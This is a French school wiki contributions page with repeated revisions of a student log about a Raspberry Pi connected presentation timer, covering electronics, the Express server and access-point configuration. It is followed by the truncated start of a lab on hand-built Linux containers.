Wiki d'activités IMA - Contributions de l’utilisateur [fr]

P4 IOT 2018

2019-01-26T18:32:03Z

Nmehanna : /* Documents rendus */

=Présentation du sujet =

==Contexte==

Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.

==Description du projet==

Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.
Le code controllant les afficheurs 7 segments sera réalisé en C.
Le serveur web sera basé sur le framework express de node js.
Le PCB sera réalisé sous Eagle.

=Réalisation=

==Matériel utilisé==

* 1 Raspberry pi 3
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]
* 16 résistances 56 Ohms
* 16 résistances 1,2kOhms
* 2 capacités 100nF
* 1 capacité 10uF

==Séance 1==

===Recherche d'un sujet et clarification du cahier des charges===

Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes :

- Une application mobile permettra de contrôler le timer

- Si l'utilisateur est un membre du jury, il pourra modifier le timer

- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer

- Un système de vote sera disponible à partir de l'application

- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera

- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant

Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.

Pendant cette séance, nous avons également établit une liste du matériel que nous utiliserons : une Raspberry pi pour faire tourner le serveur accessible en wifi, un transformateur 230VAC vers 5VDC pour alimenter la Raspberry, des afficheurs 7-segments, et un driver de leds pour utiliser le moins de sortie possible.

==Séance 2==

===Structuration du projet===

Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible.

Nous anons essayé de trouver une solution pour le contrôle des LED. Nous en avons retenu deux :

- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947]

- Utiliser des transistors

Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.

Nous avons également pu trouver des bibliothèques python pour utiliser le pilote de leds, et commencer le programme. Nous utiliserons deux pilotes de leds en cascade que nous contrôlerons avec 3 GPIO de la Raspberry. Nous avons également prévu de rajouter un ATMega328p qui pourra lui aussi contrôler les pilotes si on modifie la position de trois jumper. L'ATMega sera relié à la Raspberry en série pour qu'il puissent être programmé à travers elle.

Pour alimenter le device, nous avons ajouté à notre liste de matériel un transformateur 230VAC vers 12VDC pour alimenter les leds ainsi qu'un régulateur 12VDC vers 5VDC pour alimenter la Raspberry (2A). Ensuite la Raspberry se chargera d'alimenter les pilote de leds et l'ATMega328p.

==Séance 3==

===Carte électronique===
Durant cette séance nous avons finalisé le routage de la carte électronique suivant le circuit précédemment définit, et nous avons installé les librairies nécessaire à la programmation des pilotes de leds.

Nous avons également testé les 7-segments qui nous ont été fournit, et nous nous sommes rendus compte qu'ils étaient à cathode commune et donc fonctionnaient différemment de ce qui était indiqué sur la datasheet. Cela pose un problème puisque les pilotes de LED dont nous disposons ne sont pas compatibles avec cette configuration. Nous avons donc du nous tourner vers l'autre solution pour le contrôle des leds, celle avec les transistors. Disposant de 4 afficheurs à 7segments (+ le point), les GPIO de la Raspberry ne sont pas assez nombreux, nous avons donc du utiliser des registre à décalage pour contrôler toutes les sorties.

Nous avons alors passé cette séance à étudier les datasheet des différents composants et à établir un nouveau schéma pour la carte.

Les afficheurs 7-segments de devant ayant à afficher la même chose que ceux de derrière, nous les connecterons entre eux afin réduire de moitié la quantité de composants à utiliser.

===programme Raspberry===

Durant cette séance, nous avons également pensé au soft qui sera embarqué dans la Raspberry. Nous avions décidé de configurer la Raspberry en accesspoint WiFi et de faire tourner un serveur web qui sera accessible lorsque l'utilisateur se connectera au WiFi de la Raspberry. En parallèle, un autre programme tournera sur la Raspberry et s'occupera du calcul du Timer et du contrôle des leds. Pour que le programme puisse communiquer avec le serveur nous avons plusieurs solutions à étudier : IPC, socket, écriture/lecture dans des fichiers.

===Serveur web===

Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.
N'ayant jamais utilisé Express, nous avons dû nous renseigner sur son fonctionnement et nous documenter sur les possibilités du framework.
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.

{| class="wikitable"
! style="text-align: center; font-weight:bold;" | Route
! style="text-align: center; font-weight:bold;" | Méthode
! style="text-align: center; font-weight:bold;" | Description
|-
| /
| GET
| Permet de réaliser un choix entre l'interface enseignant et étudiant
|-
| /prof
| GET
| Permet de parametrer le timer, en informant le nom du créateur du timer,
la durée de celui-ci en minutes, et l'étudiant en question.
|-
| /prof/timer
| GET
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant
d'envoyer un commentaire.
|-
| /prof/timer
| POST
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer
|-
| /etudiant
| GET
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque
le temps devient critique (<2 minutes)
|}

Les routes étant fixés et définies, nous pouvons passer à la réalisation.

==Séance 4==

===Carte électronique===

Lors de cette séance, nous avons pu terminer la carte. Le schematic final est le suivant :

[[Fichier:SchematicP4IOT.png|center|1000px]]

Le PCB est le suivant :

[[Fichier:RoutageP4IOT.png|center|1000px]]

===Serveur web===
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message.
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :

[[Fichier:Dgramtimer.png|600px]]

Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.

Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.

[[Fichier:Entreeiot.png|300px]]
[[Fichier:CHOIXIOT.png|300px]]
[[Fichier:TimerProf.png|300px]]

==Séance 5==

===Gravure de la carte électronique===

Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.

===Configuration de la raspberry pi===

Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web :

Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :
$ sudo apt-get install dnsmasq hostapd

Nous modifions le fichier de configuration de dhcpcd en ajoutant :
interface wlan0
static ip_address=192.168.4.1/24
nohook wpa_supplicant

Nous relançons ensuite le service dhcpcd.

Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer :
interface=wlan0
dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h

Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd :

interface=wlan0
driver=nl80211
ssid=TimerIOT
hw_mode=g
channel=7
wmm_enabled=0
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=timeriot
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP

Enfin, nous lançons les processus hostapd et dnsmasq :
$ sudo systemctl start hostapd
$ sudo systemctl start dnsmasq

Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.

===Programme Raspberry===

Pendant cette séance nous avons également finalisé le programme de la Raspberry et installé les librairies permettant d'utiliser le registre à décalage et les GPIO <code>WiringPi</code>.

Dans ce programme, après les initialisations, une socket UDP est créée pour recevoir la valeur initiale du Timer depuis le serveur web. La socket est par la suite fermée et le message reçu converti en entier. Puis deux threads sont lancés : Le premier qui permet le calcul du Timer en se basant sur la valeur initiale et en utilisant l'horloge physique de la Raspberry (fonction : <code>clock_gettime(CLOCK_REALTIME, &<timespec>);</code>), le deuxième thread contrôle les 7-segements après l'avoir parsé en unités et dizaines. Les deux threads communiquent entre eux avec un pipe et un système de verrou pour synchroniser l'envoi et la réception. Finalement les threads et le pipe sont fermés proprement.

Ce programme affiche les valeurs supérieures à 99 secondes en minutes et celle inférieures à 99 secondes en seconde. Le programme et disponible sur le git : https://github.com/ael-mess/raspberry-pi-timer/blob/master/pi.c

==Séance 6==

Durant cette séance nous avons combiner les deux programmes, et automatiser leurs lancement. Nous avons crée un script shell qui lance le serveur web, puis dans une boucle infini lance le Timer puis supprime les fichiers .json du controllers du serveur web à la fin de chaque timer. Ce script à était mis dans <code>/etc/.rclocal</code> de la Raspberry en tache de fond, pour qu'il puissent être lancer à chaque allumage de la Raspberry même avant le loging.

===Test===

Pendant cette dernière séance nous avons également souder une partie de nos composants pour faire des tests. Le test de la partie électronique à révéler un comportement anormal du circuit : des segments de leds restent allumer sans que aucune tension sur la base des transistors ne soit appliquée. Nous nous sommes assuré de corriger toutes les erreurs de soudure/contact mais nous n'avions pas pu trouver la source du problème. L’hypothèse qui ont était émise est que la carte n'aillant pas était nettoyé avant la soudure, le contact n'était pas pareil pour tous les composants, et du coup le potentiel entre deux points reliées n'était pas identique (M.Thierry Flamen).

La partie logiciel elle, marche très bien sans aucun comportement anormal.

===Amélioration si plus temps===

- prendre plus de temps pour réaliser et tester la partie hardware.

- utiliser la socket pour l'envoie de chaque valeur du timer et non que pour la valeur initial. (parce que le timer calculer par le serveur web utilise la date de la Raspberry et n'est pas précis)

==Flyer==
[[Fichier:Flyer timer iot.jpeg|800px|center]]

=Documents rendus=

* [[Fichier:Timer IOT Web.zip]]

Fichier:Timer IOT Web.zip

2019-01-26T18:31:26Z

Nmehanna :

P4 IOT 2018

2019-01-21T16:56:46Z

Nmehanna : /* Séance 5 */

=Présentation du sujet =

==Contexte==

Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.

==Description du projet==

Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.
Le code controllant les afficheurs 7 segments sera réalisé en C.
Le serveur web sera basé sur le framework express de node js.
Le PCB sera réalisé sous Eagle.

=Réalisation=

==Matériel utilisé==

* 1 Raspberry pi 3
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]
* 16 résistances 56 Ohms
* 16 résistances 1,2kOhms
* 2 capacités 100nF
* 1 capacité 10uF

==Séance 1==

===Recherche d'un sujet et clarification du cahier des charges===

Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes :

- Une application mobile permettra de contrôler le timer

- Si l'utilisateur est un membre du jury, il pourra modifier le timer

- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer

- Un système de vote sera disponible à partir de l'application

- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera

- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant

Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.

Pendant cette séance, nous avons également établit une liste du matériel que nous utiliserons : une Raspberry pi pour faire tourner le serveur accessible en wifi, un transformateur 230VAC vers 5VDC pour alimenter la Raspberry, des afficheurs 7-segments, et un driver de leds pour utiliser le moins de sortie possible.

==Séance 2==

===Structuration du projet===

Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible.

Nous anons essayé de trouver une solution pour le contrôle des LED. Nous en avons retenu deux :

- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947]

- Utiliser des transistors

Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.

Nous avons également pu trouver des bibliothèques python pour utiliser le pilote de leds, et commencer le programme. Nous utiliserons deux pilotes de leds que nous contrôlerons avec 3 GPIO de la Raspberry

==Séance 3==

===Carte électronique===

Après avoir bien avancé sur la carte, nous nous sommes rendu compte que les afficheurs utilisés étaient à cathode commune. Cela pose un problème puisque les pilotes de LED dont nous disposons ne sont pas compatibles avec cette configuration. Nous avons donc du nous tourner vers l'autre solution pour le contrôle des leds, celle avec les transistors. Disposant de 4 afficheurs à 7segments (+ le point), les GPIO de la Raspberry ne sont pas assez nombreux, nous avons donc du utiliser des multiplexeurs. Nous avons alors passé cette séance à étudier les datasheet des différents composants et à établir un nouveau schéma pour la carte.

Les afficheurs 7-segments de devant ayant à afficher la même chose que ceux de derrière, nous les connecterons entre eux afin réduire de moitié la quantité de composants à utiliser.

===Serveur web===

Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework.
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.

{| class="wikitable"
! style="text-align: center; font-weight:bold;" | Route
! style="text-align: center; font-weight:bold;" | Méthode
! style="text-align: center; font-weight:bold;" | Description
|-
| /
| GET
| Permet de réaliser un choix entre l'interface enseignant et étudiant
|-
| /prof
| GET
| Permet de parametrer le timer, en informant le nom du créateur du timer,
la durée de celui-ci en minutes, et l'étudiant en question.
|-
| /prof/timer
| GET
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant
d'envoyer un commentaire.
|-
| /prof/timer
| POST
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer
|-
| /etudiant
| GET
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque
le temps devient critique (<2 minutes)
|}

Les routes étant fixés et définies, nous pouvons passer à la réalisation.

==Séance 4==

===Carte électronique===

Lors de cette séance, nous avons pu terminer la carte. Le schematic final est le suivant :

[[Fichier:SchematicP4IOT.png|center|1000px]]

Le PCB est le suivant :

[[Fichier:RoutageP4IOT.png|center|1000px]]

===Serveur web===
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message.
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :

[[Fichier:Dgramtimer.png|600px]]

Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.

Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.

[[Fichier:Entreeiot.png|300px]]
[[Fichier:CHOIXIOT.png|300px]]
[[Fichier:TimerProf.png|300px]]

==Séance 5==

===Gravure de la carte électronique===

Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.

===Configuration de la raspberry pi===

Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web :

Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :
$ sudo apt-get install dnsmasq hostapd

Nous modifions le fichier de configuration de dhcpcd en ajoutant :
interface wlan0
static ip_address=192.168.4.1/24
nohook wpa_supplicant

Nous relançons ensuite le service dhcpcd.

Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer :
interface=wlan0
dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h

Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd :

interface=wlan0
driver=nl80211
ssid=TimerIOT
hw_mode=g
channel=7
wmm_enabled=0
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=timeriot
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP

Enfin, nous lançons les processus hostapd et dnsmasq :
$ sudo systemctl start hostapd
$ sudo systemctl start dnsmasq

Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.

===Flyer===
<div style="
[[Fichier:Flyer timer iot.jpeg|800px|center]]

Fichier:Flyer timer iot.jpeg

2019-01-21T16:55:11Z

Nmehanna :

P4 IOT 2018

2019-01-19T16:23:26Z

Nmehanna : /* Suivi de réalisation */

=Présentation du sujet =

==Contexte==

Prenons le cas d'une soutenance de quatrième année, strictement limité en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet à se connecter à une page web ou les enseignants peuvent marquer des commentaires subtiles que l'étudiant peut observer en temps réel.

==Description du projet==

Le projet consiste à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.
Le code controllant les afficheurs 7 segments sera réalisé en C.
Le serveur web sera basé sur le framework express de node js.
Le PCB sera réalisée sous Eagle.

=Réalisation=

==Matériel utilisé==

* 4 afficheurs 7 segments
* Une Raspberry pi 3
* Des transistors PNP
* Résistances
* Multiplexeurs

==Suivi de réalisation==

===Séance 1===
===Séance 2===
===Séance 3===

====Serveur web====

Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework.
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.

{| class="wikitable"
! style="text-align: center; font-weight:bold;" | Route
! style="text-align: center; font-weight:bold;" | Méthode
! style="text-align: center; font-weight:bold;" | Description
|-
| /
| GET
| Permet de réaliser un choix entre l'interface enseignant et étudiant
|-
| /prof
| GET
| Permet de parametrer le timer, en informant le nom du créateur du timer,
la durée de celui-ci en minutes, et l'étudiant en question.
|-
| /prof/timer
| GET
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant
d'envoyer un commentaire.
|-
| /prof/timer
| POST
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer
|-
| /etudiant
| GET
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque
le temps devient critique (<2 minutes)
|}

Les routes étant fixés et définies, nous pouvons passer à la réalisation.
===Séance 4===

===Serveur web===
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message.
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :

[[Fichier:Dgramtimer.png|600px]]

Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.

Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.

[[Fichier:Entreeiot.png|300px]]
[[Fichier:CHOIXIOT.png|300px]]
[[Fichier:TimerProf.png|300px]]

===Séance 5===

====Configuration de la raspberry pi====

Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web :

Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :
$ sudo apt-get install dnsmasq hostapd

Nous modifions le fichier de configuration de dhcpcd en ajoutant :
interface wlan0
static ip_address=192.168.4.1/24
nohook wpa_supplicant

Nous relançons ensuite le service dhcpcd.

Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer :
interface=wlan0
dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h

Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd :

interface=wlan0
driver=nl80211
ssid=TimerIOT
hw_mode=g
channel=7
wmm_enabled=0
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=timeriot
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP

Enfin, nous lançons les processus hostapd et dnsmasq :
$ sudo systemctl start hostapd
$ sudo systemctl start dnsmasq

Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.

Fichier:TimerProf.png

2019-01-19T15:37:06Z

Nmehanna :

Fichier:CHOIXIOT.png

2019-01-19T15:36:30Z

Nmehanna :

Fichier:Entreeiot.png

2019-01-19T15:36:02Z

Nmehanna :

Fichier:Dgramtimer.png

2019-01-19T15:25:31Z

Nmehanna :

P4 IOT 2018

2019-01-19T13:26:20Z

Nmehanna : /* Matériel utilisé */

P4 IOT 2018

2019-01-19T13:23:31Z

Nmehanna : /* Description du projet */

P4 IOT 2018

2019-01-19T13:17:04Z

Nmehanna : /* Contexte */

TP sysres IMA5sc 2018/2019 G7

2018-12-21T18:23:59Z

Nmehanna : /* 4.4 DNSSEC */

= Wiki de TP =

=TP GIS=

==Conteneurs "à la main"==

===Mise en place des conteneurs===

*'''Création d'une partition''':
dd if=/dev/zero of=/disk1 bs=1024K count=10240

*'''Formatage''' :
mtfs.etx4 /disk1

*'''Montage de la partition''':
mount /disk1 /mnt

*'''Installation d'un système Debian''':
debootstrap --include=apache2,nano stable /mnt

*'''Préparation du montage du pseudo système de fichier /proc''':
echo "proc /proc proc defaults 0 0" >> rootfs/etc/fstab

*''' Démontage ''':
umount /mnt

*'''Copie en 2 exemplaires''':
cp /disk1 /disk2
cp /disk1 /disk3

*'''Montage des 3 partitions :'''
mount -oloop /disk1 /mnt/dsk1
mount -oloop /disk2 /mnt/dsk2
mount -oloop /disk3 /mnt/dsk3

*'''Création du processus isolé par unshare''':
unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c "mount /proc ; /bin/bash"

===Configuration réseau===
*'''Création d'un commutateur logiciel''':
ip link add mehcret2 type bridge

*'''Création des interfaces virtuelles:'''
ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

*'''Ajout d'interfaces dans le commutateur :'''
ip link set vif1 master mehcret2
ip link set vif2 master mehcret2
ip link set vif3 master mehcret2
ip link set vif4 master bridge

*'''Activation des interfaces''':
ip link set eth0 up
ip link set eth1 up

*'''Récupération du PID des conteneurs :'''
ps auxwww | grep unshare

*'''Ajout des interfaces dans les conteneurs :'''
